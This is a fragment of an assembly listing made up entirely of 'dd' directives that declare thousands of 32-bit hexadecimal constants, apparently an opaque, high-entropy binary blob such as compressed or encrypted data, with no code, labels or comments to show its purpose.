		dd 6BAA8FC1h, 98F08818h, 46D36589h, 8853C428h, 0F0A8A503h
		dd 0C309C281h, 8352B907h, 4B9EF09Ah, 8944BB2Eh,	5C036398h
		dd 15223CD2h, 0CA011E8Eh, 44A91757h, 0EFC28373h, 0CB4B349Ah
		dd 0FCE5F75h, 0DC4A3322h, 4116DDA2h, 11C0472h, 1037C4EBh
		dd 0A94EAE08h, 4FE913A4h, 0B92CA49h, 954E78FBh,	18829CF7h
		dd 226EEFE9h, 36EA05ADh, 2915B40Bh, 0A12B46D8h,	202A991Fh
		dd 5AA008BDh, 647EDC27h, 7CFA0912h, 7B5D1BEEh, 800C2034h
		dd 0A1696792h, 0B06F2D41h, 0C65C316Ah, 2BE9E0C7h, 2D21B295h
		dd 8E546E97h, 5A8E0C9h
		dd 657A3F1Eh, 56D02980h, 271960BEh, 24CC6CC5h, 0B8B534EBh
		dd 146181C3h, 0C3168FEh, 0BE8C7BD2h, 2516C51Ch,	534238D7h
		dd 174E5AE9h, 790BEE50h, 1764742Ch, 3739EB8Fh, 1C6F3288h
		dd 998A5B1Dh, 5CA61841h, 9A593E10h, 37C16817h, 6DDC72AFh
		dd 33B926A0h, 17605030h, 164FFDAEh, 0D1CDA15Dh,	64FD26Fh
		dd 2C48DE62h, 884F02B0h, 808B40FBh, 1A68C3C9h, 0B136F99Dh
		dd 508BAEC6h, 2521F283h, 0F74AE409h, 0D9695DD2h, 1CBEE080h
		dd 85608E90h, 715AE52Dh, 0B07A4BA2h, 37274E65h,	0E665F82Dh
		dd 0B938C0C2h, 581D4B12h, 65BDD5F8h, 9ED9ADF1h,	24E4D63h
		dd 0B8C7C61Dh, 5F785783h, 0B69AFD20h, 2D90AC02h, 73EC2FFDh
		dd 80D18EBh, 8A2AE9CBh,	992F85ACh, 5B02F024h, 0F739F889h
		dd 641C92E6h, 0EB3B684Ah, 777CA0CAh, 0C39BC0B0h, 47146D50h
		dd 3049DDF6h, 3408181Dh, 9FB5AA2Bh, 6869D3F4h, 3EFA25h
		dd 15B3CF3h, 753E9DEh, 9AA92BE1h, 0EC2C5684h, 939EC6FCh
		dd 28C300BBh, 0F266808h, 0FD6BBD82h, 3AEB0019h,	2FE98642h
		dd 1BDFDBB2h, 50CAD2DAh, 548EC56h, 8A763635h, 8442F260h
		dd 2CFE585Dh, 5A02574Ah, 0E983546Ch, 0E2B64001h, 852A4822h
		dd 57C4BA00h, 0CA813337h, 0A4454E0Ch, 12970C7Bh, 0FE39B856h
		dd 38F07741h, 2E25585Bh, 6EFCE961h, 71658CBh, 95E95009h
		dd 0EDF04666h, 4C2D74BDh, 809FC322h, 0D7870F1Bh, 81CAB672h
		dd 71682ABDh, 18A46A31h, 5AB19551h, 52C5402Ch, 5374F8B6h
		dd 0B77FB20Eh, 5AD700BEh, 0B74EEF80h, 0F682925Ch, 40DC88D3h
		dd 0C701EC9Eh, 61C0CA06h, 3EC4FE08h, 0CF1F9F8Bh, 1B775C80h
		dd 0BEAC30F4h, 89BB1A65h, 560E203Eh, 5B22AD59h,	0A7E9CEE5h
		dd 9D5E2D38h, 18443AB6h, 0B807995Fh, 20A8F0FAh,	5500192Dh
		dd 0E0C14007h, 1EB33502h, 0F9B0BDA9h, 9459A484h, 78D9803Fh
		dd 144AB67Dh, 6E92002h,	8794F488h, 0A225F8EAh, 3E563961h
		dd 0FA05C880h, 512CEB29h, 91A0CE59h, 2574E0DCh,	2F78387Ah
		dd 0B1303D90h, 11C5BB18h, 891F09DAh, 880E801h, 49592DD0h
		dd 0E92F12ECh, 53970FA6h, 394C70E9h, 0D6842E7Ch, 4244400h
		dd 550B5FDBh, 974E9C57h, 0C5EB907Dh, 0A4A0995Fh, 0A8ED096Dh
		dd 6C848568h, 800502B9h, 4C815C3h, 1809A1Dh, 0A5E3814Bh
		dd 0F13A787Fh, 2A576563h, 60BF2DAAh, 6BE1780Bh,	0CBDE1FE8h
		dd 0C2710773h, 0B058542h, 0F207FF58h, 5AD5309Ch, 0CC965289h
		dd 0C509F864h, 4EA1FE95h, 0FC78A1F6h, 567047E9h, 7A4B5695h
		dd 1BCD143h, 31D5840Fh,	0E3608189h, 48C65Dh, 79CD6CBAh
		dd 9ACAB6BDh, 73A8E15Fh, 0A1B3E84Bh, 657062C2h,	4D0CC752h
		dd 0E973A027h, 8DC1881Ah, 337CD9F3h, 0D224803Ah, 244AF4C6h
		dd 1064A6E5h, 3878192Dh, 259CA206h, 0A7C07E9Ah,	0D5495EAh
		dd 0F20134EEh, 5E080264h, 0B1D9A2F5h, 7571F5D2h, 75A7CF1Fh
		dd 0C89C9790h, 44940082h, 31C9C280h, 0E870E2C0h, 0F5B307AFh
		dd 0A617C16Ch, 5F8BF768h, 814217ABh, 80756177h,	6951D92Eh
		dd 0A9CE255Fh, 394DD92h, 0BFC92020h, 0E9414A73h, 0FD3E61D2h
		dd 0FE4A7812h, 0F4009F94h, 0AE2429Dh, 387D9A29h, 0AF5B4DB8h
		dd 4BBEF836h, 1633CE7Ch, 49EAF1F6h, 4FB0573Bh, 9ABC9568h
		dd 3AFC5417h, 0D776BFB4h, 0BA0A0AEh, 10888099h,	15F4FEEh
		dd 8F59BEB3h, 0EF3E167Dh, 7B4D0028h, 55377931h,	0ED0FE910h
		dd 4C63A148h, 102FE68Ah, 9C0BFF29h, 90508FF4h, 36688084h
		dd 93C22E5Dh, 82F785ABh, 0F7EE357h, 3F685560h, 34FA8339h
		dd 0E077E64Ah, 2715EB79h, 99580C09h, 8C0F4309h,	4BB0A768h
		dd 0F7BC8A71h, 44A6443Dh, 0A7228D1Dh, 80C5FC67h, 7E074FE2h
		dd 14C2E3D1h, 7E592EE9h, 2D98BBA4h, 9FF653AAh, 0A036C1Fh
		dd 0D2BBEE52h, 0CBE129AAh, 73802C4Fh, 8D5ED60Ch, 9D0C16h
		dd 2D63596Fh, 264B5FFFh, 1996F6BFh, 2FF13DA4h, 4DA2AEECh
		dd 0D53F8957h, 69A8674Eh, 3BE187BDh, 0AEF586ACh, 4122A8A4h
		dd 9B2C3A5Dh, 0CCBAAF0h, 2CC027EFh, 17A906EDh, 0B0CB0F1Dh
		dd 4C6177Ch, 0ACE5E9C8h, 7CEA4E08h, 6082A8DEh, 2E679DE3h
		dd 173B9Ah, 0E875349h, 2F9FC4E9h, 489F61FDh, 80705DC3h
		dd 939B62D7h, 0EB467947h, 0B721CB82h, 6F59CB88h, 0BDBB2CC4h
		dd 6D751A35h, 0B683752Ch, 0E008A26h, 6F83B850h,	4CF7590Ch
		dd 7D0094D8h, 0D106136Ah, 70E581E1h, 1C0976DCh,	0F528D5E9h
		dd 4BD17AB3h, 8CC968D8h, 5A88198Ah, 0C110B964h,	5150D6F6h
		dd 0AC7BF1F9h, 121BD0DCh, 88F882E9h, 0C60DA65Fh, 0B2F9C151h
		dd 0D5F732DFh, 5FC94FE2h, 273BB8BDh, 0A578D421h, 0FF97A29Ch
		dd 0ACC205A0h, 0CBB82E29h, 35F9DA7Dh, 0B5F07A5Ch, 40324B38h
		dd 0C42D0739h, 8149108Eh, 39E90B6Ch, 0A33B4963h, 0AE4BA638h
		dd 0EB1723CEh, 0DCDEB55Bh, 78BE26B2h, 0CCEB2992h, 0A7B7A6DEh
		dd 54D9CEB6h, 24F0E992h, 2AA0F09Dh, 82EE6A53h, 4DC55FF8h
		dd 3FC944AFh, 0A65E1EE9h, 0A212104Ah, 5AE5A85Eh, 41C74BE0h
		dd 9840401Bh, 247CF15Bh, 0CD418973h, 0E9032A83h, 0C3092C9Fh
		dd 5D84C0C6h, 271247C5h, 14E435C7h, 3AAC39FAh, 32DB2BAEh
		dd 55637055h, 8901845Bh, 0A52D5FFDh, 0FE0BE242h, 4B072067h
		dd 6BEECD5Dh, 7540FBF5h, 3D103C4Dh, 0C07BE91Fh,	7F48054Ah
		dd 3501742Bh, 93EB780Ch, 7E70C101h, 9B78D35Ch, 8CFF4A61h
		dd 68125008h, 56F345CCh, 0E061A007h, 5FF8807Fh,	0AAE4C7BEh
		dd 0C629DB01h, 1EE8358h, 25260A30h, 29875B67h, 4A010F72h
		dd 77654CE9h, 58F0436Ah, 0B2BD5B65h, 2A3DEE98h,	0C9051E90h
		dd 64B913F5h, 0F6A07FEh, 0A65C6B8Bh, 5A9C542Fh,	711A32FDh
		dd 92DFE9EEh, 9D6FDA6Ch, 0F95B0D66h, 38EA2C12h,	0AF419EA8h
		dd 2534AC6Fh, 0CA98E265h, 55D95D78h, 2F163C90h,	25A8CF63h
		dd 0BACDDD5Fh, 307FAE27h, 1F57680Ch, 6A45F7A5h,	0FA03930h
		dd 0CD897C9Dh, 0D940C0A9h, 1CB51C8Bh, 258F3120h, 472EE47h
		dd 9639E2AAh, 1201B50Eh, 4F4EA7FAh, 61E92398h, 0D0F70B6Eh
		dd 89DE6093h, 20618D25h, 0C8310B39h, 0D98CC214h, 0F07D74B5h
		dd 0EA7A245Fh, 12556B4Eh, 0C4015D9Ch, 0E2D06858h, 27F1957h
		dd 0EB7E6DAEh, 4769EC54h, 6E90640h, 41A3EF5Ah, 4F17419Fh
		dd 79533121h, 82C60130h, 87107E03h, 6B2E0570h, 57727150h
		dd 95B568B7h, 0D931805Fh, 8D6CBE4h, 1E683302h, 48195744h
		dd 0C9536858h, 47D38759h, 5D6E5509h, 2A1EC4BFh,	0BA0145Ah
		dd 753C36F5h, 52CB7F0Eh, 68C1C47Eh, 0A500528h, 954EC8E9h
		dd 7BB96DCBh, 45902BBAh, 4ABE581h, 0F702421h, 7F88B887h
		dd 0BC7632A6h, 875F2B86h, 0ECF415A2h, 0EF640A65h, 0B5051CA4h
		dd 8FFE42C2h, 413179AFh, 3A9CDCE9h, 0E6817888h,	0C9771F73h
		dd 527D9640h, 91A0EAECh, 880909D3h, 414A5D7Ah, 0B758A04h
		dd 0F9E904ADh, 775BA7C8h, 59D97B13h, 0C8415255h, 0CED1F20h
		dd 4E436415h, 3E3B3728h, 1E7DD1Fh, 0AD18E2CFh, 0E9C44F74h
		dd 0F5975448h, 0EBFECBh, 12E5514Eh, 1A77BE56h, 649D14E4h
		dd 69090556h, 0E8597666h, 3E9E074h, 81C4A8C6h, 3BC809EAh
		dd 28555017h, 782F0886h, 0B8854E3Dh, 4C68F11Dh,	4C76AA2h
		dd 0BEE942B3h, 0FF6495A0h, 58FD71B5h, 1885AA04h, 9D08EDA0h
		dd 6234A661h, 82831AF2h, 40D40Ch, 302B275Bh, 0BDB6DE89h
		dd 0F720576Bh, 1905F1F6h, 65C95650h, 3F447617h,	0B41B0044h
		dd 3E97CDEAh, 80BAF895h
		dd 2E3A313Dh, 488C0A0h,	3E6E4924h, 0A55B873Ch, 8C6C17Dh
		dd 20C49806h, 54909A4Eh, 5A4CE6EEh, 3AC681BEh, 0F3ED3B1Fh
		dd 0EB5F6FA5h, 30AB7D61h, 801AC061h, 0FEBDAECDh, 0DC589429h
		dd 349F507h, 9796C413h,	0F0C43E0Dh, 0B699EA21h,	87AF8561h
		dd 310FC6D0h, 89B9098Ch, 0E23A28FBh, 0AB7E093Eh, 7FC7DD65h
		dd 29C4E909h, 0EC53838Fh, 0E171A46h, 79C04558h,	77012576h
		dd 555D515Fh, 0A1CCA768h, 0F03FEF26h, 93608055h, 7370CD2Fh
		dd 0DF5B49D3h, 0A460F502h, 0C97F8FC3h, 132F833Ch, 4F9DE847h
		dd 9D922BE0h, 6CB57570h, 70DB959Ah, 4E00642Dh, 885D022Ah
		dd 0FA5558C2h, 0B598A0F6h, 0EF7A4A3Ah, 127F268Bh, 801D8F58h
		dd 533A352Dh, 0E91E9315h, 13F84BB4h, 0A5BE1421h, 953050AFh
		dd 0D56950D1h, 5556169Ah, 673926A8h, 862A469h, 8005E100h
		dd 60A0E926h, 6BF14BF6h, 6458062Eh, 40592D7Fh, 20262BF5h
		dd 8C096216h, 0C0B5145h, 1441105Ch, 0E08AD6BEh,	9DE9107Ah
		dd 3C68096Bh, 91A5B050h, 5520BD75h, 8F60D9C6h, 736B5Ch
		dd 6D7F2140h, 0E19D3AE9h, 0F1D8AD2Ah, 7A38E9h, 3C4705C9h
		dd 0F0921A5h, 4B606880h, 0DEC0EDD1h, 0B00AEB7Ch, 710420A2h
		dd 17D12D1Eh, 85C5DBDEh, 40AB7D6Eh, 0CD26C56Bh,	0FCB04E20h
		dd 6CE9DF4Ah, 0F959C8C4h, 9FD1124Fh, 687D60EFh,	2AE11C3Fh
		dd 0BFB4CFE8h, 7398C50Eh, 0F6E062C9h, 0EABDA8E1h, 0B72413DDh
		dd 0A7680017h, 29DC8846h, 33BC5897h, 4328A1FFh,	0A3E6B416h
		dd 0CC1839BAh, 55512CD6h, 4353D54Bh, 311706BDh,	12BBDCF2h
		dd 0F9DCAF70h, 0B103496Eh, 6E559D1Ah, 6446FB75h, 4E2DB357h
		dd 10E01E17h, 0C7AD5D85h, 0A185915Bh, 80FA04B2h, 0B7778458h
		dd 0DBEA93C0h, 2E1217A8h, 25BF5E52h, 0D5F6BEC0h, 25562B5h
		dd 7774DEh, 886EC580h, 3AFCEF58h, 86225A6Ah, 59D3FD57h
		dd 5B0731A7h, 5A773C29h, 1844B7CDh, 0F59527A7h,	82611372h
		dd 0BA14A03Ah, 0C53BBE89h, 895DE9E0h, 0BF457D5Dh, 0F67C790Bh
		dd 41289832h, 6FE18C93h, 4C2694F7h, 0EAC189BAh,	0E8D2BA60h
		dd 62E1EB7h, 873D5EBAh,	55E4DE64h, 31251902h, 7C23E9DAh
		dd 3EB40B63h, 47CD5506h, 7B47CF05h, 13C34D07h, 7F6FB04Bh
		dd 0D25A9D01h, 5B95D20h, 344880BAh, 0EBC4BB75h,	2DACF0Fh
		dd 0E24A060Ch, 0EC6B774Bh, 6B1C7EBEh, 0A8B05703h, 31B32024h
		dd 88A293Ch, 66590090h,	81B13851h, 0E078CB3Bh, 0EB803CD3h
		dd 19C32FF3h, 84609FC0h, 0E31DF99Fh, 765F6232h,	0AFF4F2ACh
		dd 5C0ED204h, 260513A3h, 422AC4Ah, 45DBCB1h, 0D0FB295Bh
		dd 0C32BCBC7h, 0C8944B7Ah, 395166ECh, 0AA5ED188h, 2D3BB946h
		dd 0B15D4A60h, 3AB86A13h, 4A21BBD3h, 9CCB53FFh,	0C4288BEAh
		dd 7EACF3D3h, 0AD3291C5h, 5E578921h, 7F3E003Bh,	9B90E29h
		dd 0F94FA671h, 75BF46DCh, 0F462D10h, 32A5C97Ch,	0A459579Eh
		dd 17CDF758h, 0EB07765Dh, 0A4620ACAh, 421A48B8h, 0BE33C81Dh
		dd 3A651E8Ah, 0B0819276h, 499D5904h, 58640DBDh,	4F2DFE57h
		dd 0E455529Ah, 55CEB378h, 0A8A2E4D9h, 7110CAE9h, 83B01F25h
		dd 3DE0AA52h, 0FDD04B21h, 452D84F0h, 0DE2FF4BDh, 9C579455h
		dd 0E75069F9h, 0A183294Ch, 0E23BE278h, 0D7588947h, 75501782h
		dd 0F52705F1h, 0FF2D9D17h, 0E11CD504h, 0C5693E33h, 4E431230h
		dd 0F1E2A993h, 0B768E745h, 0A2C20987h, 0EBB402DDh, 0ABF20128h
		dd 29BACC4Fh, 6FC6F52Bh, 0E7303501h, 0FDD05866h, 90E8E05Bh
		dd 98025A0h, 7DE9D55Ch,	2C7C760Bh, 979161D2h, 344B900h
		dd 80ACC44Fh, 3BFCC000h, 0ADE4E9A4h, 0C1BC13BDh, 646CE3B1h
		dd 9BABC4h, 0B850D701h,	511E0003h, 5973525h, 2D011831h
		dd 66F85EF9h, 0DAF0D8F7h, 69F0B71h, 69A92BE9h, 3C8BB1D4h
		dd 0CD13C901h, 951A26Bh, 0D7DAED80h, 0B34584D9h, 14DDB90Fh
		dd 9E8EC484h, 0E27BE00h, 46016872h, 5575E681h, 6C707DEEh
		dd 0B3781712h, 368E0039h, 51A2157Ch, 7BF18931h,	0F7A65DDBh
		dd 79441995h, 31FC4D45h, 4252C8D3h, 8B0F4C06h, 1193907h
		dd 0B5E0E3C2h, 2A31E9B0h, 925EEB13h, 0F948E70Ah, 0F1F031C2h
		dd 0ABD26298h, 4214D455h, 0C972A580h, 61B2D00h,	9305794Ch
		dd 69AA0A67h, 14CBDE9h,	0F812B5F7h, 0E18EC7Dh, 8F0865BBh
		dd 2CAC0757h, 0C01E82C7h, 0A1C4445Dh, 5C028759h, 3E5EF9FDh
		dd 3D092927h, 5C253ADEh, 0B3A44F4Ch, 1632B4B1h,	19B5279Ah
		dd 9E7547EEh, 139FE979h, 5F9E8097h, 1F17FCB8h, 8BEE1488h
		dd 0A75524B4h, 0E382028Ch, 3950BC3h, 0A8DF59F0h, 5A090854h
		dd 88465750h, 4F495297h, 6990ADEBh, 9C2BF540h, 572F9F70h
		dd 0A8947DA9h, 1A9BC29Fh, 80CDF4A0h, 787619ABh,	584B7D68h
		dd 0E983DBE9h, 0FD10A942h, 0FD4B7F3Ch, 763092F7h, 809572E9h
		dd 37EEC828h, 0CD686FC0h, 0F4786F1Eh, 5E5697E5h, 8EFB4A3Ah
		dd 10AA4288h, 0B61DAD2Ah, 0BDA3D340h, 635125DCh, 0B80C5FD5h
		dd 30D30E4Ah, 0DDB1D2C8h, 5CA57C89h, 5E0CBA77h,	0A91622Eh
		dd 2829410Fh, 8744F8B5h, 9418A2FFh, 20564FECh, 0A109871Eh
		dd 66849973h, 3EE172F2h, 0B6FE503Bh, 1DC8DACFh,	98950950h
		dd 6546E911h, 0EAD3B39Eh, 663F8087h, 24167134h,	10B8F821h
		dd 6EF84F16h, 7C6F8410h, 0AF56E830h, 277721BAh,	82F00C0Dh
		dd 4DAF735h, 0D7BFFB0Bh, 0FEC16193h, 0D1109DAEh, 0EABF33E4h
		dd 6AAF3303h, 96A7E8F8h, 0BC89B9CEh, 2194DF16h,	5EE36ADh
		dd 0F262D080h, 127A5B5Ah, 0B1C2EB00h, 0ACC7DB60h, 2FE92223h
		dd 0CFE3315Fh, 60F9C682h, 4B57561Eh, 0D9FB6D52h, 20A30621h
		dd 5BECAA30h, 3D163BEBh, 59A5361Dh, 3BAC16E1h, 40A720F0h
		dd 5E72046Fh, 70C0EC2Ch, 85A95F3Eh, 0F7E02250h,	0E3DACB21h
		dd 0DE89840Ch, 8297B9E8h, 3E0D4CFFh, 0DFADEC2Eh, 9A9DD540h
		dd 0F683E494h, 0EF32C9C6h, 0D5DD89CBh, 682F8944h, 20025A9Bh
		dd 0B082ABADh, 44BF3482h, 64B06801h, 5953258Bh,	774B60F4h
		dd 0EFACAE04h, 0BB2AFE8Eh, 24F69FC9h, 0FD7BE971h, 6FC1D666h
		dd 1816340Dh, 43BF5700h, 0B908C222h, 0CF8716B0h, 717F840h
		dd 2FFD6856h, 5CBD1424h, 0EA2EE8Eh, 52D55C0Fh, 0BB30BE9Dh
		dd 25C32710h, 65E7D557h, 399275A7h, 69C65BFFh, 84D95B57h
		dd 0D42B62E9h, 6BB8BB2Dh, 92DDA94Ah, 5EF8F2AEh,	0D9F62081h
		dd 2DE91930h, 96579011h, 0B65EFC07h, 0EB051392h, 63A47DC7h
		dd 0C704CAB2h, 0EE21165Eh, 0ABCC5CB1h, 6DFA1C67h, 0D05297E9h
		dd 880F0834h, 0FF71687Eh, 0E598DE97h, 0BBFA5614h, 6684114h
		dd 76BA4DD8h, 0E593C66h, 49687A86h, 0F4259B41h,	1F22496h
		dd 40FB6842h, 2E625E56h, 9018553Dh, 39203A8Dh, 40170411h
		dd 81455557h, 285FE96Bh, 9A5024AAh, 5E25AC10h, 954986E4h
		dd 21ED5030h, 0B40B60B4h, 6AD0DEAFh, 0BC752FCDh, 28DDA077h
		dd 62C2BE13h, 47D66978h, 0DF545262h, 0F7A520F1h, 7B389E90h
		dd 30E908E1h, 0EB29962Ch, 0B30E7344h, 0C2BE560Dh, 5F3B3811h
		dd 0F080CF76h, 0E9123E7Ah, 0C609B5D6h, 483E717Dh, 0A06A097Ah
		dd 4DCD11A3h, 9E96E599h, 0C544AD06h, 0BF0301Bh,	40DDC98Eh
		dd 572F8280h, 159126Ah,	0BBF48D7h, 5548D979h, 3E08CDA8h
		dd 0D0647593h, 3006314Bh, 86E0144Bh, 54D70CB9h,	5A32216Dh
		dd 0F2C2B119h, 2EA5591Ch, 0E410DD7h, 240AEDF4h,	3DF5836h
		dd 1E631A2Eh, 3430EFE0h, 9BA150F4h, 3AC43548h, 88A0B8ACh
		dd 5FEEB2E5h, 6BFBE977h
		dd 20956EB2h, 0F806E204h, 2140BF68h, 25F930EDh,	0EE312E93h
		dd 735A10D2h, 8662B1BFh, 3882D02Fh, 875DB09h, 29AD68B7h
		dd 4AAEB8E8h, 748FEFCDh, 0DD2E90Ah, 13E18195h, 7E023369h
		dd 0BDBCA504h, 850B84F2h, 4E204EA2h, 33195868h,	2DF129E7h
		dd 0BAE2D63Ch, 597B97F8h, 3B9FE9E1h, 0B01C0B39h, 46552759h
		dd 0E46818C7h, 71B4A35Fh, 0EEC90782h, 773237C0h, 0E5C67829h
		dd 90C0846h, 496359AAh,	4C923410h, 7D4B79B4h, 7E59EDB9h
		dd 0E9E0EAECh, 0CCB446AEh, 3F895FA7h, 0FBB5D066h, 0AAA03EEDh
		dd 15565C4Eh, 0B30C401h, 0A7206644h, 3D9C9006h,	49AD3CF3h
		dd 19EEB980h, 4278707Dh, 0BFD64Eh, 2FA2FA41h, 0A09029BAh
		dd 98CCCCBFh, 9981F55Dh, 8B3C6EC1h, 85CB2BF9h, 0B5360F04h
		dd 5B68455Fh, 4EB78550h, 595309h, 5A47D757h, 0AC30ED51h
		dd 0EF16B662h, 0E3EB8887h, 1C035250h, 0ED80C528h, 1055D1F9h
		dd 1FF38D96h, 0EC095346h, 525E7EB9h, 0CD12711Eh, 44212DFFh
		dd 77888174h, 0C98FA0DCh, 0C492DF98h, 0BFF4585Ah, 93049F1Dh
		dd 0AA10855Dh, 0DD171FD4h, 0DB1D3B95h, 2CC50405h, 86B50BFh
		dd 0F1ACE918h, 761E78BFh, 793305Bh, 9DC9FE85h, 0DA3EB70h
		dd 2942371Ah, 522CE9B2h, 0DF0B8B0Ah, 22AAF195h,	580AF284h
		dd 0E859D00Ah, 0EC684531h, 0AE6C163Ah, 965316CFh, 0A131AC4Ah
		dd 0BB1501B9h, 0E90BDDF2h, 74CEA58Dh, 0F065CE41h, 2EB19400h
		dd 92445011h, 42331405h, 2301AC2Bh, 161E416h, 822C7BFAh
		dd 1EAEBC1Eh, 0FB4D8E68h, 1FC15905h, 80C092A5h,	0FE9EB0D0h
		dd 4934C809h, 7E305528h, 0A5E302E9h, 0B07F195h,	1CFC4593h
		dd 0D65FD6Bh, 0F104A3A0h, 17CBD66h, 810FB94h, 0E8688332h
		dd 8EEA856Fh, 98B2550h,	0B6547Ah, 0F1D9C22Dh, 49F389FBh
		dd 25AF3B23h, 94638269h, 45B4ABA0h, 0DE7AF480h,	8A00AB5Bh
		dd 4BCF8147h, 13123B14h, 9697C704h, 89BCC244h, 0B2012DD4h
		dd 66D02839h, 78C8E130h, 59E1CB04h, 0E9042D6Fh,	0C8FD0CEDh
		dd 0BED372E4h, 551D2774h, 1F044BB9h, 9DEFD001h,	0ACD244B2h
		dd 2A68C25Fh, 52462225h, 246D4E0Fh, 0F2AF74BCh,	2013487Bh
		dd 361BA058h, 5CA5301Ah, 0E51FB2A0h, 966A7160h,	9D7F2242h
		dd 5D5829F0h, 5C052D0Ch, 632B82A5h, 0FAE002F5h,	5582E553h
		dd 7F0581C8h, 107AB1B6h, 5BB7680Ah, 0D83CF250h,	0B48EB26h
		dd 0CD017DA3h, 608A608h, 41BC08E9h, 61BD344Fh, 90EC899Fh
		dd 77833BD6h, 0DF65DF18h, 12128674h, 649AB5E0h,	0D7955B6Eh
		dd 0D6772FBAh, 0F15FE9ECh, 7B253867h, 0A56F58F1h, 0C0446E48h
		dd 0CCBA1D42h, 93413B46h, 539BA07Fh, 0C312E499h, 58F605A0h
		dd 5820C0D7h, 0CAAE594Eh, 0EA81CAA1h, 0F87A6900h, 6EE4E95Eh
		dd 0E1A6E6AAh, 0B92D9580h, 8030D931h, 47B75352h, 282680B6h
		dd 0A40CF4FEh, 40829157h, 0EB04BF56h, 15F3518h,	1330F6EBh
		dd 2DBC92B6h, 3830B584h, 8A0F0B1Dh, 0DE2070BEh,	95E945B6h
		dd 0F60F639Ch, 5ECAE5D9h, 0D228AAFh, 104B67E9h,	535A356Fh
		dd 0CFC4AF10h, 4B84F8AAh, 65F91F53h, 0CD40D2A4h, 0E568B169h
		dd 890D5718h, 6A5FC391h, 8E8750BCh, 64750977h, 56C7A3F5h
		dd 51C3E3BAh, 0DA0B57B1h, 0D009880Fh, 0C9FE3CC6h, 69DC8109h
		dd 20BB70D4h, 0D05D4E25h, 0F31DD80Dh, 58BA4601h, 29953321h
		dd 0A020172Bh, 4F80BFC8h, 84C76083h, 0F88E8DF7h, 0B52DC67Fh
		dd 41855125h, 2FF90158h, 674F39BAh, 9811D2EEh, 0D9880E93h
		dd 284F645Bh, 0E908D5E2h, 9D244332h, 0A41D1903h, 0E6DA2D66h
		dd 0F0E90281h, 1ACC2A9Dh, 0F4D75F8Ah, 0F609BDB0h, 601C4E01h
		dd 80B481F0h, 0E0A0E1C1h, 0C20472F1h, 0CB31F9F4h, 0CD75ACFAh
		dd 6496F2E9h, 4597095Ch, 0DDC5A054h, 0AA74D5EAh, 5010E6CEh
		dd 17FF92B8h, 6E5664Eh,	12265660h, 34233935h, 820B16BEh
		dd 0F01822Fh, 163A7880h, 8871AB54h, 8251BEA3h, 0FB22864Ah
		dd 7172077h, 0AB045C0Bh, 8038C128h, 0C4B8AD7Eh,	881ADAD4h
		dd 8AF8A866h, 0B0DD0A9Fh, 0C9FF4E3Bh, 84366926h, 81045817h
		dd 47FEC7F6h, 5EF3E071h, 4C1DBF7h, 4D3E8D0Fh, 27DDC1A7h
		dd 0C862C6C2h, 3FD9FF5Ch, 0E1BA5012h, 0A8AC2F8Fh, 0A6EC09E5h
		dd 1716B022h, 0C025DB28h, 5E4B0B27h, 0ADCAE129h, 5FB9C20Dh
		dd 9B7BF46h, 504F87ABh,	5F4F9682h, 0D8F74DB8h, 2860C590h
		dd 7FBA3563h, 96F48F9h,	590FA95Ch, 66A94968h, 0F301E15Eh
		dd 4FDF7205h, 0F0BFCD42h, 4173BF7Ah, 7BE95361h,	57E5DD2h
		dd 2E26E7A8h, 464F5CA5h, 25EF565Dh, 0AAE66D9Bh,	9379B925h
		dd 87DC1A1h, 0F7801087h, 88978293h, 73311D8Bh, 21916B53h
		dd 0C3D658E3h, 0F5C5C2EEh, 0CE3E7F9h, 5E14FFFAh, 421D3DBBh
		dd 0F3F598E3h, 0FA1CC431h, 0A24AF1B6h, 7E89E2C6h, 50490AC4h
		dd 48510B9Ah, 0C4687FFCh, 0AFCC2713h, 0E56917BEh, 293A0F7Ah
		dd 807FFE25h, 8B5D52ECh, 56A67160h, 9D1BD54Eh, 8837252h
		dd 7A141C41h, 161DD4E0h, 0F0051C72h, 8240072Bh,	1A321CB9h
		dd 0D0247017h, 7BE3E8E5h, 4EBB0012h, 0CA351202h, 64EF219h
		dd 0BC007E53h, 0E903E7C0h, 0BFA296C6h, 0E615380Bh, 0F07AAF05h
		dd 5A5B5BCDh, 1DF534FFh, 20F5A5FCh, 15BDEDC7h, 0EB054B11h
		dd 1B59E98Ah, 6A7F2FD8h, 0A5A1744Eh, 44BC3C2Bh,	0AC7EC741h
		dd 0EF810000h, 0F2FAC1CDh, 2E5FE689h, 0CB4E6468h, 8552B05Ch
		dd 0BBB8E8BAh, 7EE2AFB5h, 0BC31AB93h, 312BC782h, 2BAF6807h
		dd 1840A1B7h, 0C2F4B555h, 0C31720F8h, 4F6F6893h, 0A8FF1716h
		dd 68058DBBh, 0E2AED36Ch, 7065DC4Bh, 75262D97h,	724B195Eh
		dd 0D9988146h, 4EA36430h, 0E0B6E863h, 3F0CCDBAh, 0CA00471Ah
		dd 1BF07E37h, 0A14A85E9h, 35E0DD45h, 0FAF997D2h, 0BBD6407Ah
		dd 0D5599369h, 66D972CBh, 0CBE23B39h, 4AC32610h, 74F265A4h
		dd 36632650h, 1D87008Bh, 0D331C869h, 32211A81h,	5B786620h
		dd 77593176h, 29E90069h, 59189F49h, 0F4263312h,	4B00CC71h
		dd 21300827h, 5EFA98F0h, 40FCD8h, 8A3DB825h, 5FB2E915h
		dd 0D2524B47h, 49556E6Ah, 0DCD55806h, 0CBE41EF4h, 0AB75C2DDh
		dd 0C26B5471h, 205F0D64h, 4D38C598h, 0F3413D9h,	52A1AB8Fh
		dd 0CB82A22Ah, 27FF5A5Fh, 9C5CE76Eh, 0A0FAC96Bh, 1EA8447Ah
		dd 0A2041343h, 81002D99h, 342761EEh, 0C759335Fh, 0F805E3C8h
		dd 23D318E2h, 1291F62Dh, 0AAD69B9Ch, 0B5F0C312h, 6AD2D68h
		dd 2073BF66h, 0F267A12Dh, 3C0460E0h, 58D00A8Dh,	2F1CF09Fh
		dd 702E54D7h, 99277C82h, 0B0A3D0DDh, 0B5C925D6h, 3A78A7F4h
		dd 52163F5Eh, 43DAE102h, 77E0017Eh, 9A2F36A3h, 0F90F66Bh
		dd 13360461h, 5136E016h, 5F685703h, 0E1775013h,	19A6CAE3h
		dd 2D9410F5h, 581B7D5Bh, 2AB1E7E9h, 563A997h, 5147A97Ah
		dd 195BB9E0h, 0FFD6E92Bh, 0F4342C59h, 542658E3h, 0DFAC0A9Eh
		dd 0FDD1A5C6h, 0E0BE033Ch, 0E0EE897Ch, 49E9F129h, 5B2F2923h
		dd 0B0F5F289h, 0B56D613Eh, 7FF564CCh, 5051C7D1h, 0BFEFB5C8h
		dd 0CDFE20C0h, 0C02E0AC5h, 7CE95D80h, 0BD5CC046h, 161E14BFh
